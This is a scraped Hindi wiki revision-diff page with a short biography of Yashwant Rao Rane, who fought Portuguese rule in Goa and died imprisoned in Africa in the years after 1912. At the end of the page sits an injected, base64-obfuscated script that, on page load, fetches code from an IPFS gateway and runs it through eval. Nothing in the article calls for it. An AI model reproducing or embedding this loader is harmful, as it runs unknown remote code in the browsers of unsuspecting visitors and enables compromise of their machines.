"यशवंत राव राने": अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
सपना वर्मा (वार्ता | योगदान) |
व्यवस्थापन (वार्ता | योगदान) छो (Text replacement - "पुर्तगाल" to "पुर्तग़ाल") |
||
(एक दूसरे सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया) | |||
पंक्ति 1: | पंक्ति 1: | ||
'''यशवंत राव राने''' | '''यशवंत राव राने''' ने [[गोवा]] को [[पुर्तग़ाल]] के शासन से मुक्त करने के लिए एक सेना का निर्माण किया पुर्तग़ाल सेना के साथ कई बार युद्ध किया था। | ||
*यशवंत राव राने संगठन शक्ति बहुत अच्छी थी। उनके कथन का लोगों पर शीघ्र प्रभाव पड़ता था। उन्होंने अपनी वाणी और व्यक्तित्त्व के प्रभाव से पुर्तग़ाली सेना में विद्रोह भी करा दिया। | |||
* | *आखिर यशवंत राव राने सन [[1912]] में पकड़े गए और आजीवन कारावास की दंड देकर अफ्रीका भेजा दिए गए। अफ्रीका की जेल में ही उनकी मृत्यु हो गई।<ref>{{cite web |url=http://www.kranti1857.org/goa%20krantikari.php#yashvant |title=यशवंत राव राने|accessmonthday=23 फरवरी|accessyear=2017 |last= |first= |authorlink= |format= |publisher=क्रांति 1857|language= हिंदी}}</ref> | ||
14:31, 7 जुलाई 2017 के समय का अवतरण
यशवंत राव राने ने गोवा को पुर्तग़ाल के शासन से मुक्त करने के लिए एक सेना का निर्माण किया पुर्तग़ाल सेना के साथ कई बार युद्ध किया था।
- यशवंत राव राने संगठन शक्ति बहुत अच्छी थी। उनके कथन का लोगों पर शीघ्र प्रभाव पड़ता था। उन्होंने अपनी वाणी और व्यक्तित्त्व के प्रभाव से पुर्तग़ाली सेना में विद्रोह भी करा दिया।
- आखिर यशवंत राव राने सन 1912 में पकड़े गए और आजीवन कारावास की दंड देकर अफ्रीका भेजा दिए गए। अफ्रीका की जेल में ही उनकी मृत्यु हो गई।[1]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ यशवंत राव राने (हिंदी) क्रांति 1857। अभिगमन तिथि: 23 फरवरी, 2017।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>